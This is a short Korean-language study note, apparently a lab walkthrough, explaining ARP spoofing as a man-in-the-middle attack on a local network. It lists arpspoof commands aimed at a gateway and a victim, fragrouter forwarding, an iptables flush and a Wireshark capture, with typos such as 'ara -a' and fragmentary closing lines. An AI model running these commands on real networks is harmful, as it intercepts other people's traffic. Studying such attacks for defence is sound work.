ARP 스푸핑은 근거리 네트워크에서 사용되는 대표적인 중간자 공격으로 두 단말 간의 통신을 속여 자신을 통해 통신하도록 만들어 중간에서 네트쿼으 통신 내용을 스니핑 또는 스푸핑 하도록 하는 기술이다.
공격자(IP: x.x.x.40 / MAC DD:DD) - "I'm x.x.x.10!" -> to x.x.x.10 is DD:DD -> now PC remember it (IP: x.x.x.10 / MAC: DD:DD)
공격자는 두번째로 A 사용자 PC에게 연결하고자 하는 B사용자 IP에 자신의 MAC 주소를 포함하는 ARP reply 패킷을 지속적으로 보냄
A 사용자 PC는 x.x.x.20에 해당하는 IP를 자신의 ARP 테이블 내 공격자의 MAC 주소로 기억
서로 연결하고자 하는 시용자 A, B PC들은 공격자의 MAC 주소로 통신(중간에 공격자를 낀 상태로 연결)
각 사용자 A, B PC는 정상 연결로 인지하므로 공격자가 어떤 행위를 하던 정상 패킷으로 간주
// 게이트웨이를 대상으로 공격
arpspoof -i eth0 -t [Gateway_ip] [target_ip]
// 피해자 대상으로 공격
arpspoof -i eth0 -t [target_ip] [Gateway_ip]
// fragrouter를 이용한 IP 포워딩
fragrouter -B1
ara -a // 맥주소가 같은지 확인 [여기까지가 포이즈닝]
성공했다면
피해자
테스트는 4000번 열고 확인
//정책있으면 다 제거
iptables -X
iptables -F
wireshark를통한 캡쳐 후